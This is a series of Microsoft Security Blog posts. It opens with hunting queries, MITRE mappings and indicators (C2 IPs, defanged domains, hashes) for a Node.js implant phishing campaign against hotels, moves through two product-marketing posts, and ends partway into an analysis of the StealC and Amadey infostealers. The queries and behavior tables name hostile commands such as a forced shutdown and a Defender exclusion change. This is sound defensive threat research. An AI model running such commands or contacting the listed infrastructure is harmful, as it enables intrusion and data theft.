DeviceNetworkEvents | where RemotePort in (8443, 8445, 8453, 5555, 56001, 56002, 56003) | where InitiatingProcessFileName =~ "node.exe" or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" or InitiatingProcessFolderPath has @"\AppData\Local\Nodejs\" or InitiatingProcessFolderPath has @"\ProgramData\" | project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl | order by Timestamp desc

Wave 2 .cfd and .bond domain connections 

This query detects network connections to the campaign’s Wave 2 domain infrastructure. 

DeviceNetworkEvents | where RemoteUrl has_any (".cfd", ".bond", ".click") | where RemoteUrl has "photo-" or RemoteUrl has_any ("zloapobikahy23", "higoksbupwou", "aluminiostramuntana") | project Timestamp, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Browser automation and forced shutdown on previously affected hosts 

This query identifies late-stage post-compromise behavior on hosts already showing earlier campaign indicators. 

let suspiciousHosts = DeviceProcessEvents | where FileName =~ "node.exe" and FolderPath has @"\AppData\Local\Nodejs\" | distinct DeviceId; DeviceProcessEvents | where DeviceId in (suspiciousHosts) | where ProcessCommandLine has_any ("--headless", "--no-sandbox", "shutdown -s -t 0") | project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Calendly-associated notification infrastructure used in phishing delivery 

This query identifies emails from the campaign’s Calendly-associated subdomain with the characteristic display name. 

EmailEvents | where SenderMailFromDomain =~ "em1618.calendly.com" | where SenderMailFromAddress startswith "bounces+13766497-" or SenderDisplayName has "Booking Manager" | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation, ThreatTypes | order by Timestamp desc

share.google redirect token detection in email URLs 

This query detects emails containing share.google redirect URLs, which the campaign uses as an intermediate hop to obscure the final phishing destination. 

EmailUrlInfo | where Url contains "share.google/" | join kind=inner EmailEvents on NetworkMessageId | where SenderMailFromDomain has "calendly" or SenderDisplayName has "Booking" | project Timestamp, NetworkMessageId, SenderFromAddress, RecipientEmailAddress, Subject, Url, DeliveryAction | order by Timestamp desc

Calendly redirect URL phishing detection 

This query identifies emails containing Calendly redirect URLs that match known campaign patterns, including share.google tokens or photo-*.cfd domains. 

EmailUrlInfo | where Url contains "calendly.com/url?q=" | where Url has_any ("share.google", "photo-", ".cfd") | join kind=inner EmailEvents on NetworkMessageId | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, Url, DeliveryAction, AuthenticationDetails | order by Timestamp desc

High-frequency file hash hunting (combined Waves 1 and 2) 

This query hunts for all known campaign file hashes across endpoint telemetry.

let hashes = dynamic([ "83e970feb3f10692c164f6889f7a026f135c2433e5bf8e662a6e63a3b81267b7", "06a2888c1f07119873ccb051221bd8717281494b33585f4242556e6e5e227969", "04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1", "1c693bcdaf1da636eb21c274b21cc2f6c52c62ddd514700783eee83fe13acb0a", "2e5fd01b7949a45937b853eabcf4b03195614cf84338dcaaa97240d1c5301ddc", "3f66634f103b80412d1d670b91befab2a74425d2ea76d904c4a7ffae2ae94b44", "63565f15a99769bbcd527a4d53e5cc259d80e1254463ef9c878c2074685558ae", "49cc0e0c3ec060fb354cacee244d4f297aaefb6db66e67a21262d6c4d2eae1bd", "6580de3b74fd635a1d7a887b8f6e5b0c9ac9e90d6e20466ad41489203119cca9", "f629311734b7c6e6579f8e1d0e1e3f3bf72c9ac6c301b631ba4df7f393c41b14", "98825c0c7764f45c891275b2f038ea559e84b340df30b41c2cc77b8d4215c6c8", "bd6805782df15e53581096b99bd6bbb81f4d4a5e2d2b30954df63175a4075be9", "89934cb1494cf0327f0ab82fe644c74caf687814379cad116bd7adaca74c1028", "1f8daffec5945a13a1e9231f4a76655d4c7ef4560d0c64ca3abfe48f38297cbd", "9f10e3b6e5745784f26d18c38ce01fba054b19749c17260978ac11472564aee2", "97448688b292bfec6d83b153588076fe59b111c35ac4e42a916238df16a71e2f", "c5baa0c16b0074a1e94b48aa0177e9bfc23746aca8a5b42848a6685da85658b5", "b7f46b192cd83a1d2487cb048cca645f6e8855b9673d500d50bbdb04eebc6bea" ]); DeviceFileEvents | where SHA256 in (hashes) | project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc Microsoft Sentinel

Microsoft Sentinel customers can use the Microsoft Defender XDR connector to ingest the above queries or leverage the Threat Intelligence Mapping analytics rule to match campaign IOCs against ingested logs. 

MITRE ATT&CK techniques  Tactic Technique ID Technique Name Observed Activity Resource Development  T1583.001 Acquire Infrastructure: Domains Short-lived .cfd landing domains (photo-26653[.]cfd, photo-26656[.]cfd, photo-27857[.]cfd) are registered and rotated every 2–3 days  T1583.006 Acquire Infrastructure: Web Services Use of Calendly account (em1618.calendly[.]com) and generated share[.]google redirect tokens to relay phishing  T1584.006 Compromise Infrastructure: Web Services Suspected use of a compromised legitimate domain (ginrinsou[.]com) as an alternate sending relay  Initial Access  T1566.002 Phishing: Spearphishing Link Calendly notification emails carrying redirect links (observed from late May 2026) T1199 Trusted Relationship Authentication laundering through Calendly’s SendGrid infrastructure Execution  T1204.002 User Execution: Malicious File User opens fake image LNK (IMG-/PHOTO-*.png.lnk) T1059.001 PowerShell Obfuscated bigint decoder downloads .ps1 T1059.007 JavaScript Node.js implant executes .js payload with C2 domain Defense Evasion T1027 Obfuscated Files or Information Seven-phase PowerShell obfuscation evolution  T1027.004 Compile After Delivery csc.exe compiles .NET DLL on-target (Wave 2) T1036 Masquerading LNK files disguised as .png images T1562.001 Disable or Modify Tools Add-MpPreference exclusions for Temp EXE files Persistence T1547.001 Registry Run Keys / Startup Folder Dual Run (Node.js) + RunOnce (ProgramData EXE) Discovery T1016 System Network Configuration Discovery ip-api[.]com geolocation lookup Command & Control T1571 Non-Standard Port C2 on ports 8443, 8445, 8453, 5555, 56001-56003  Indicators of compromise  Observed C2 IPs and non-standard ports  Indicator Type Description 178.16.54[.]27 IP Primary — Active in both waves, ports 56001/56002 95.217.97[.]121 IP Persistent beacon (Wave 1) 193.202.84[.]32 IP Secondary (Wave 1) 178.16.55[.]179 IP Additional (Wave 1) 172.67.161[.]215 IP phishing TonRAT C2 (Cloudflare shared CDN ) 8443, 8445, 8453 Port Non-standard C2 ports 5555 Port Non-standard C2 port 56001, 56002, 56003 Port Non-standard C2 ports  Representative observed domains  Wave 1 domains  Indicator Type Description prejointl[.]info Domain C2 domain safedocphoto[.]info Domain C2 domain recallnine[.]info Domain C2 domain kentjerk[.]info Domain C2 domain photodoc-secure[.]info Domain C2 domain kelopins[.]info Domain C2 domain docstore-safe[.]info Domain C2 domain photosafe-hub[.]info Domain C2 domain dashgamein[.]info Domain C2 domain image-vlt[.]info Domain C2 domain safedoc-storage[.]info Domain C2 domain safe-picvault[.]info Domain C2 domain photo-dekor[.]xyz Domain C2 domain reservebookphot[.]pro Domain C2 domain kellystreets[.]info Domain C2 domain widjssij728dj[.]com Domain C2 domain docshub-01[.]info Domain C2 domain photobookadm[.]pro Domain C2 domain safedoc-vault[.]info Domain C2 domain keypmenu[.]info Domain C2 domain photo-box[.]info Domain C2 domain expedla-getphoto[.]cloud Domain C2 domain vertualstreak[.]info Domain C2 domain montagelips[.]info Domain C2 domain racestrech[.]info Domain C2 domain derbyoni[.]info Domain C2 domain ministrew[.]info Domain C2 domain visaphoto-secure[.]info Domain C2 domain docshub-secure[.]com Domain C2 domain visaimage-storage[.]icu Domain C2 domain lookinlip[.]info Domain C2 domain safephoto-vault[.]info Domain C2 domain kiptownim[.]info Domain C2 domain finallyrain[.]info Domain C2 domain photobook-reserv[.]pro Domain C2 domain bookreservphoto[.]pro Domain C2 domain imagestore-hub[.]info Domain C2 domain visaimages[.]info Domain C2 domain visaphoto-vault[.]info Domain C2 domain visa-vault[.]info Domain C2 domain visa-safedocs[.]info Domain C2 domain joincroud[.]info Domain C2 domain kinghoruswe[.]info Domain C2 domain snapkeep[.]info Domain C2 domain deeprace[.]info Domain C2 domain lestresot[.]info Domain C2 domain recepyman[.]info Domain C2 domain recstrace[.]info Domain C2 domain heliosup[.]info Domain C2 domain fairyspells[.]info Domain C2 domain hakeiwjs727wj[.]com Domain C2 domain haobbao[.]com Domain C2 domain dancamp[.]info Domain C2 domain sec-safe-dc[.]info Domain C2 domain — Active in both waves secure-imagehub[.]info Domain C2 domain doc-imagehub[.]info Domain C2 domain imagevault-safe[.]info Domain C2 domain photo-hub-io[.]info Domain C2 domain safevault-hub[.]info Domain C2 domain tripadvisor-photo-view[.]com Domain C2 domain photo-7216302[.]sbs Domain C2 domain  Wave 2 domains   Indicator Type Description photo-26254[.]cfd Domain  Phishing landing page   photo-132454[.]cfd Domain  Phishing landing page   photo-8632454[.]cfd Domain  Phishing landing page   photo-21473[.]xyz Domain C2 domain photo-7216102[.]click Domain C2 domain zloapobikahy23[.]bond Domain C2 domain higoksbupwou[.]com Domain C2 domain aluminiostramuntana[.]com Domain C2 domain photo-26653[.]cfd Domain Phishing landing page photo-26654[.]cfd Domain Phishing landing page photo-26656[.]cfd Domain Phishing landing page photo-27857[.]cfd Domain Phishing landing page 

Microsoft has assigned malicious ratings to these domains, and they are being blocked. 

File hashes  Indicator Type Description 83e970feb3f10692c164f6889f7a026f135c2433e5bf8e662a6e63a3b81267b7 SHA-256 Campaign payload (Wave 1) 06a2888c1f07119873ccb051221bd8717281494b33585f4242556e6e5e227969 SHA-256 Campaign payload (Wave 1) 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1 SHA-256 PE payload (xmnrwv9l.exe) — Same hash in both waves 1c693bcdaf1da636eb21c274b21cc2f6c52c62ddd514700783eee83fe13acb0a SHA-256 Campaign payload (Wave 1) 2e5fd01b7949a45937b853eabcf4b03195614cf84338dcaaa97240d1c5301ddc SHA-256 Campaign payload (Wave 1) 3f66634f103b80412d1d670b91befab2a74425d2ea76d904c4a7ffae2ae94b44 SHA-256 Campaign payload (Wave 1) 63565f15a99769bbcd527a4d53e5cc259d80e1254463ef9c878c2074685558ae SHA-256 Campaign payload (Wave 1) 49cc0e0c3ec060fb354cacee244d4f297aaefb6db66e67a21262d6c4d2eae1bd SHA-256 Campaign payload (Wave 1) 6580de3b74fd635a1d7a887b8f6e5b0c9ac9e90d6e20466ad41489203119cca9 SHA-256 Campaign payload (Wave 1) da4b72764ae929050353f3da759c839e2a061a8b9a8dd3c3b2e909d4a8a3291c SHA-256 Campaign payload (Wave 1) f629311734b7c6e6579f8e1d0e1e3f3bf72c9ac6c301b631ba4df7f393c41b14 SHA-256 Campaign payload (Wave 1) 98825c0c7764f45c891275b2f038ea559e84b340df30b41c2cc77b8d4215c6c8 SHA-256 Campaign payload (Wave 1) bd6805782df15e53581096b99bd6bbb81f4d4a5e2d2b30954df63175a4075be9 SHA-256 Campaign payload (Wave 1) 89934cb1494cf0327f0ab82fe644c74caf687814379cad116bd7adaca74c1028 SHA-256 Campaign payload (Wave 1) 1f8daffec5945a13a1e9231f4a76655d4c7ef4560d0c64ca3abfe48f38297cbd SHA-256 Campaign payload (Wave 1) 9f10e3b6e5745784f26d18c38ce01fba054b19749c17260978ac11472564aee2 SHA-256 IMG-386443483.png.lnk (Wave 2) 97448688b292bfec6d83b153588076fe59b111c35ac4e42a916238df16a71e2f SHA-256 PHOTO-215746435.png.lnk (Wave 2) c5baa0c16b0074a1e94b48aa0177e9bfc23746aca8a5b42848a6685da85658b5 SHA-256 qFWe908J.ps1 (419 KB, Wave 2) b7f46b192cd83a1d2487cb048cca645f6e8855b9673d500d50bbdb04eebc6bea SHA-256 bjygtujc.dll (3,072 bytes, compiled .NET, Wave 2) d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11 SHA-256 node.exe (v24.13.0-win-x64, 89.9 MB)  Key behavioral patterns  Indicator Type Description Pattern A Behavior Obfuscated PowerShell downloader: BigInt decoder → iwr → .ps1 Pattern B Behavior .NET DLL compilation: csc.exe → cvtres.exe → <random>.dll (Wave 2) Pattern C Behavior Node.js implant: node.exe <random>.js <domain> Pattern D Behavior Defender exclusion: Add-MpPreference -ExclusionProcess Pattern E Behavior Temp EXE execution: Numerous random filenames Pattern F Behavior Installer or unpacker: *.tmp with /SL5 or /VERYSILENT Pattern G Behavior ProgramData copy: Lowercase, same hash Pattern H Behavior RunOnce loop persistence: Value refreshed after each execution Pattern I Behavior Browser automation: –headless –no-sandbox Pattern J Behavior Forced shutdown: cmd /c shutdown -s -t 0 Pattern K Behavior Persistence survival: Node.js Run key survives Defender PE block Pattern L Behavior Authentication laundering: Direct-path Calendly email passes SPF/DKIM/DMARC/CompAuth (share.google variant fails authentication) Pattern M   Behavior Multi-hop redirect: Calendly → share.google → Google → photo-*.cfd Pattern N Behavior Domain rotation: photo-*.cfd domains with ~2–3 day lifespan  References 

• Technical Analysis of Suspicious Emails Targeting the Hotel Industry | SOC Prime
• ITOCHU Cyber & Intelligence

This research is provided by Microsoft Defender Security Research,  Parth Jamodkar, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access appeared first on Microsoft Security Blog.

The endpoint management category is being redefined in real time. Organizations no longer need tools that only inventory devices or enforce configuration policies; they need a platform that connects identity, security, compliance, and AI governance across every endpoint where work happens. Microsoft’s recognition as a Leader in The Forrester Wave™: Endpoint Management Platforms, Q2 2026 report reflects that shift—and the role Microsoft Intune plays in helping organizations manage what’s next.

Read the report here for the full evaluation Figure 1: Forrester Wave showing Microsoft in a Leader position for both strength of offering and strategy Why Microsoft Intune is a leader in endpoint management

The Forrester Wave™ Endpoint Management Platforms, Q2 2026 report includes eight endpoint management platform providers, assessed across current offering, strategy, and customer feedback. Forrester’s assessment of Microsoft reflects how Intune is built. The vision Forrester describes is one built on Microsoft Entra, Microsoft Defender, Windows, and Windows 365 as a connected system, not a collection of adjacent tools. Customers can enforce conditional access, apply compliance policies, and correlate device health signals from a single admin center. That reach is what the cross-platform, cloud-native architecture is built for.

Microsoft Intune offers a strong platform for Windows environments, as customer feedback in the Forrester report notes, and Intune brings management across Windows, macOS, iOS, and Android together in the same admin console. That leadership extends from information worker devices to the frontline worker endpoints that are increasingly critical to business operations. On macOS specifically, Intune uses declarative device management to apply configuration and compliance policies natively, without requiring a separate tool or an additional management layer. Frontline workers on shared kiosks and handheld scanners, and information workers on corporate laptops, fall under the same policies without requiring parallel toolchains.

Endpoint Privilege Management (EPM) received explicit recognition from Forrester, which noted that AI embedded in Intune powers EPM and device onboarding workflows to help IT analyze device data and troubleshoot issues. Elevating or restricting privileges used to require manual review cycles. With AI in that workflow, admins make faster decisions on which requests to approve, deny, or escalate.

Security Copilot in Intune operates directly within the admin experience, operating on the same data and policy surface IT teams already use. From policy configuration, to identifying vulnerabilities, and recommending remediation, agentic assistance handles investigation and triage so admins focus on decisions that need judgment. The recent public preview of the Vulnerability Remediation Agent extends that further, drawing on Microsoft Defender Vulnerability Management to surface CVEs across Intune-managed Windows devices and apps, with Copilot-assisted impact summaries, suggested actions, and step-by-step remediation guidance, all without leaving the console.

These capabilities do not stand alone. Forrester also recognized a superior partner strategy. Our strategy helps connect endpoint management to the service desk, device procurement, and mobile threat defense tools already in the environment. Endpoint management that stops at the device boundary does not close the loop on risk. Intune, with capabilities such as EPM and AI-assisted remediation, brings its partner ecosystem together to help turn Zero Trust from core principles into daily IT practice: apply least privilege, verify explicitly, and enforce through policy to prevent breach.

On licensing, Forrester’s independent customer feedback pointed to the economic value of Microsoft simplified, bundled pricing. Intune is included in Microsoft 365 E3 and Microsoft 365 E5. Starting this month, advanced management solutions of the Intune Suite, including EPM, join those plans automatically. Full details are in our announcement blog: Microsoft 365 adds advanced Microsoft Intune solutions at scale. We continue to invest in areas such as unattended remote access sign-in for Intune Remote Help and automatic updates of required apps for Intune Enterprise Application Management, both of which will roll out for general availability in July 2026, and Intune now supports Red Hat Enterprise Linux 9 and 10.

Governing AI for the future of work

Every organization putting AI to work in practice needs IT and security teams that can say yes confidently: Yes to new device types, yes to modern workloads, and yes to agents running alongside users. Trust and confidence are requirements for safe AI adoption. Microsoft Agent 365 gives organizations a control plane for agents they can trust, and confidence comes from having a platform where identity, device management, and security policy are already connected. A unified platform does not just reduce complexity. It changes what teams are able to do with their time, and what the organization is able to do with AI.

AI agents are now endpoints, and Intune is the policy layer for Agent 365 that governs how they run. Through Microsoft Execution Containers, Intune gates local agent runtime execution directly on Windows devices, requiring isolation with guardrails like filesystem rules so agents run in controlled environments rather than with unchecked access to host systems. Windows 365 for Agents extends that model to cloud PCs provisioned specifically for agent workloads: Each agent Cloud PC is Entra-joined and Intune-managed, configured with the same security, compliance, and policy controls as user devices, so governance scales without new infrastructure.

For shadow AI, Intune is one of three signals alongside Defender and Entra that surface unmanaged agents. Defender discovers agents and adds inline protection; Intune applies policies to block common execution methods and device-level runtime security policies, giving multiple connected signals and one coordinated posture rather than multiple parallel workflows. That is how AI moves from an isolated pilot into the daily practice of how organizations operate, govern and protect AI, not just enable it.

At Microsoft, we believe Forrester’s assessment reflects where the market is heading, where governance, identity, and security work as one system. Each capability is more effective because it operates on shared signal, not siloed data. Microsoft Intune helps organizations reduce complexity, strengthen security, and make AI adoption practical at scale—governed and protected.

Learn more about Microsoft Intune solutions. Bookmark the Microsoft Intune blog to keep up with our expert coverage on endpoint management.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

Forrester does not endorse any company, product, brand, or service included in its research publications and does not advise any person to select the products or services of any company or brand based on the ratings included in such publications. Information is based on the best available resources. Opinions reflect judgment at the time and are subject to change. This report is part of a broader collection of Forrester resources, including interactive models, frameworks, tools, data, and access to analyst guidance. For more information, read about Forrester’s objectivity here . 

The post Microsoft a Leader in The Forrester Wave™ for Endpoint Management Platforms appeared first on Microsoft Security Blog.

Cloud security is shifting from visibility to context-aware risk reduction, helping security teams understand which exposures matter most, prioritize what can be exploited, and reduce risk across the application lifecycle. As organizations continue to expand across multicloud environments, Kubernetes, APIs, and AI-powered workloads, security teams are overwhelmed with signals. The challenge is no longer identifying individual risks, but determining which combinations of vulnerabilities, identities, and data exposures are most critical to address at the source.

Frost & Sullivan’s 2026 Frost Radar™ for Cloud-Native Application Protection Platforms (CNAPP) reflects this shift. The report highlights how CNAPP is evolving from a collection of posture and workload capabilities into a unified cloud risk operations platform—one that correlates signals across code, cloud, runtime, and SOC workflows to prioritize and reduce risk continuously. Within this evolving market, Microsoft is positioned among leading CNAPP vendors—reflecting alignment with where the category is heading.

Read the Frost Radar on CNAPP and explore how cloud risk is evolving Why CNAPP is being redefined

The Frost Radar makes a clear point: CNAPP is no longer about visibility or compliance—it is becoming an operational platform for reducing risk.

Modern environments introduce complexity across:

• Multicloud and hybrid infrastructure.
• Rapid development and continuous deployment.
• Containers, serverless, and APIs.
• AI-powered workloads.

This complexity exposes the limits of traditional tools.

Organizations now require platforms that can:

• Correlate posture, runtime, identity, and data signals.
• Prioritize risk based on exploitability—not severity alone.
• Integrate security across development and operations.
• Support faster investigation and response.

This is the shift: from detecting issues to operationalizing risk reduction across the application lifecycle.

What distinguishes leading CNAPP platforms

Frost evaluates CNAPP providers based on growth and innovation—but more importantly, on how effectively they help organizations manage risk.

According to the report, five themes define the next generation of platforms:

• Platform unification over point solutions.
• Code-to-cloud-to-SOC integration.
• Risk prioritization based on exploitability.
• Correlation across identity, data, and application context.
• Expansion into AI-powered workloads.

These capabilities represent a shift from fragmented visibility to connected, contextual risk management.

How Microsoft aligns with CNAPP’s next phase 1. Correlating risk across identity, endpoints, data, and cloud

Most security tools surface findings. Fewer connect them meaningfully. Modern attacks exploit the combination of misconfigurations, excessive permissions, and data exposure—not isolated issues. Microsoft Defender for Cloud correlates posture findings with identity, data, and runtime signals—helping surface risks that are exploitable. A misconfigured storage resource on its own may not appear critical. But when combined with excessive access permissions and the presence of sensitive data, it can create a clear attack path.

What this means: Security teams can prioritize real attack paths instead of individual findings, reducing alert fatigue and improving remediation speed and precision.

2. Extending security from code to cloud to SOC

Security must operate continuously across development, runtime, and operations.

Defender for Cloud connects:

• Code and infrastructure-as-code scanning.
• Cloud posture and runtime protection.
• Security operations and response workflows.

A vulnerability identified in infrastructure-as-code before deployment can be tracked through to runtime—where it is validated against real-world behavior and surfaced in security operations if actively exploitable.

What this means: Organizations move from fragmented workflows to continuous risk validation and response across the lifecycle.

3. Reducing complexity across fragmented security workflows

As environments scale, tool sprawl limits visibility and slows response. Microsoft delivers CNAPP capabilities as part of a connected platform—integrating posture management, workload protection, identity, data, and threat detection across multicloud environments. Instead of switching between separate tools, security teams can investigate a single incident across initial misconfiguration, runtime impact, and identity exposure, enabling a more connected experience.

What this means: Security teams can investigate faster, prioritize risk more consistently, and reduce exposure across fragmented cloud environments.

Where security leaders focus next

The Frost Radar offers a signal for where cloud security is headed: toward platforms that connect context across cloud environments so teams can prioritize the risks most likely to be exploited and reduce exposure faster.

Security leaders should now ask:

• Can the platform correlate signals across identity, end points, data, cloud, and runtime?
• Does it span the full code-to-cloud lifecycle?
• Can it prioritize risk based on exploitability—not just severity?
• Does it integrate with SOC workflows for faster response?
• Can it scale across multicloud and AI environments?

These are the capabilities that define the next generation of CNAPP.

Bottom line

Frost & Sullivan’s 2026 CNAPP analysis reinforces a clear shift: Cloud security is moving from fragmented visibility to unified, contextual risk management across the entire lifecycle. Microsoft’s position in the Frost Radar reflects this shift—bringing together posture, runtime, identity, end points, and data signals into a connected platform that helps organizations prioritize and reduce risk continuously.

Learn more

• Read Frost & Sullivan’s 2026 Frost Radar™ for Cloud-Native Application Protection Platforms (CNAPP) to see how leading vendors are evaluated—and how the category is shifting toward unified cloud risk operations platforms.
• Explore Microsoft cloud security solutions to see how unified posture management, risk prioritization, and protection across the application lifecycle can help reduce cloud risk.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Microsoft Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post CNAPP evolution: How Microsoft aligns with leading cloud risk management platforms appeared first on Microsoft Security Blog.

In this article

1. The role of infostealers: From credential theft to intrusion
2. StealC: Infostealer for rent
3. Amadey: Malware-as-a-service for delivery of infostealers
4. Defending against StealC and Amadey intrusions
5. Microsoft Defender detections
6. Indicators of compromise

Infostealers continue to be some of the most pervasive and impactful threats across the cybercrime ecosystem. They play a central role in intrusions, silently harvesting passwords, cookies, and session tokens before exfiltrating stolen data to attacker-controlled infrastructure. If not mitigated, these threats can turn a single consumer-device compromise into an enterprise risk: an infostealer infection on an employee’s personal device could yield corporate virtual private network (VPN) credentials, single sign-on (SSO) tokens, and session cookies that could allow an attacker to bypass multifactor authentication (MFA).  

In the cybercriminal ecosystem, infostealer families like StealC and malware delivery services like Amadey are sold and rented as commodities. Stolen data flows through an underground economy of access brokers that feeds ransomware and other operations. Because the initial infection usually happens outside managed endpoints, defenders might see the breach only after valid credentials are abused, underscoring the importance of identity protection, credential hygiene, and rapid response. 

In this blog, we examine how the infostealer economy has grown into a major threat to enterprise security, with a focus on StealC and Amadey. StealC is an infostealer that collects sensitive data from browsers, cryptocurrency wallets, messaging applications, email clients, and gaming platforms. It is a malware-as-a-service (MaaS) offering that threat actors use to generate customized payloads and manage stolen data through a centralized web panel. Meanwhile, Amadey is a MaaS loader that threat actors use to deliver StealC and other malware. Modular, pay-as-you-go models like StealC and Amadey allow threat actors to use a single initial infection to quickly escalate into multiple other threats.

On June 24, 2026, Microsoft’s Digital Crimes Unit (DCU), working with Europol and industry partners, announced a coordinated disruption action resulting in the takedown, suspension, and blocking of domains and command-and-control (C2) servers that formed the backbone of StealC and Amadey infrastructure. In total, DCU identified over 200 malicious Amadey and StealC command-and-control domains and IPs and moved to shut them down through a mix of court orders, domain seizures, registrations, and provider notifications.As part of this disruption, DCU engineered tools, including the use of Microsoft Copilot, to analyze StealC and Amadey binaries efficiently. These efforts included creating a prompt agent for performing comprehensive analysis of functions, using prompt engineering to generate a Python script for string decryption and extraction of configuration parameters, using Copilot to analyze disassembled malware code and identify C2 servers hardcoded into the malware binaries, and writing software with assistance from Copilot to confirm C2 activity.

The role of infostealers: From credential theft to intrusion

Infostealers like StealC, Lumma Stealer, RedLine, Raccoon, and Vidar enable division of labor across the cybercriminal ecosystem: initial operators deploy the malware at scale, and access brokers validate and monetize the stolen credentials, then resell them at a premium to threat actors seeking a foothold into enterprise environments.

When successfully deployed and executed, information-stealing malware can harvest credentials (usernames, passwords, and session cookies) from infected environments and export them as logs to the attackers’ server. These logs can hold credentials and tokens present on the compromised device, including corporate VPN, email, cloud, and SSO accounts. Stolen corporate credentials are extremely valuable, because a single working account can unlock many enterprise systems at once, especially if MFA could be bypassed using stolen session cookies. 

How an infostealer attack unfolds

While individual families differ in their tradecraft, infostealer-enabled intrusions follow a remarkably consistent path from delivery to impact. The infection chain could begin on an unmanaged or lightly protected device and end, often weeks later, inside a corporate environment, using credentials that look entirely legitimate.

Figure 1. A generalized end-to-end flow common to modern information-stealing malware, from initial lure through credential theft to downstream enterprise impact.

Infostealer operators favor delivery techniques that scale and rely on ordinary user behavior rather than software vulnerabilities. The most common is deceptive web traffic: search engine optimization (SEO) poisoning and malicious advertising push fake or trojanized versions of popular software, “cracked” applications, and game cheats to the top of search results. A user looking for a free utility downloads a working program bundled with a stealer. A fast-growing variant is the ClickFix technique, in which a website tricks users into pasting a command into the Windows Run dialog or terminal, unknowingly executing the attacker’s script themselves, sidestepping many download-based defenses. Phishing email remains a reliable delivery path as well, particularly for campaigns that target specific organizations or individuals.

Lastly, infostealers are frequently delivered by other malware. Loaders like Amadey, upon establishing a foothold, deploy a stealer, a banking trojan, or additional tooling on demand. Once the loader unpacks the infostealer in memory and evades detection, the infostealer harvests target data. After exfiltrating stolen data, the malware typically deletes itself to hinder investigation. As we discuss in the next section, stolen credentials and tokens rarely stay with the original operator. These are packaged into logs and sold, validated by intermediaries, and eventually monetized as enterprise access, enabling account takeover, fraud, and ransomware.

How stolen credentials are monetized

Once exfiltrated, infostealer logs are rapidly monetized. Within hours, credentials from infected devices often appear on dark web markets or Telegram channels for USD $10-50 per log, while premium logs (with bank or corporate accounts) fetch higher prices, up to $100+ each. However, recent analysis by researchers at Reliaquest shows that Russian markets selling logs as low as $2 per log. These “breach packages” might be purchased in bulk by initial access brokers, specialized intermediaries who test and resell network access.

Alternatively, the operators who originally stole the logs themselves might directly exploit the high-value credentials without involving an access broker or buyer. For example, some ransomware groups deploy infostealers and then use the captured credentials to get inside target networks. The timeline for stolen infostealer credentials turning into enterprise breaches varies widely. Some intrusions occur within 48–72 hours of credentials being stolen, while other stolen credentials could sit dormant for months before they’re used by an attacker.

Infostealer infections often occur outside managed networks, for example, an employee’s home PC where corporate security monitoring is absent. The stolen sign-in reuse might not raise immediate alarms because attackers authenticate with legitimate credentials, even bypassing MFA if they have a session cookie. As a result, many compromised organizations only discover malicious activity after the attacker has taken action (for example, ransomware deployment or a large-scale data exfiltration event). This stealthy progression could make infostealer-driven intrusions a challenge to detect in time.

Figure 2. Sample infostealer to ransomware attack chain StealC: Infostealer for rent

StealC is representative of the modern malware-as-a-service stealer: threat actors rent access to a StealC builder to produce customized samples and a web panel to manage stolen data. This model keeps the barrier to entry low and the volume of distinct samples high. StealC is written in C++. Upon execution, it fingerprints the compromised system, collects saved credentials and cookies from a wide range of browsers, targets cryptocurrency wallets and messaging applications, captures data from email clients, steals Steam session data, takes screenshots of desktop, and exfiltrates credentials to its C2 server.

The malware also functions as a secondary loader, capable of downloading and executing additional payloads (.exe, MSI, or PowerShell scripts) on command from the C2. After completing its tasks, the malware can optionally self-delete to reduce forensic evidence. In addition, StealC queries the system’s default language and runs a language check, terminating itself if the locale matches Russian, Ukrainian, Belarusian, Kazakh, or Uzbek.

Figure 3. Distribution of StealC infections from May 15-June 15, 2026

The malware attempts to create a Windows event using the victim ID as the event name. The victim ID format is <computer name>_<username>. If the event already exists, the malware enters a polling loop at intervals of less than five seconds (varies across variants) until the previous instance of itself completes. This is to avoid having multiple running instances on the device. StealC also contains an embedded expiration date. It compares the current system time against this expiration date and skips all malicious activity if the sample has expired.

C2 registration and configuration

StealC first sends a registration request to the C2 panel and constructs an HTTP POST request containing:

• Request type: create
• System hardware ID
• Malware build ID

This payload is RC4-encrypted using a hard-coded key, Base64-encoded, and then sent to the C2 through HTTP POST request. The decrypted C2 response is parsed as a JSON configuration object containing the following information:

• An access token used to authenticate all subsequent requests from the malware
• A list of browser stealing targets (paths, browser types, methods and types, which data to extract)
• A list of file-grabbing rules (target directories, file masks, size limits, recursion depth)
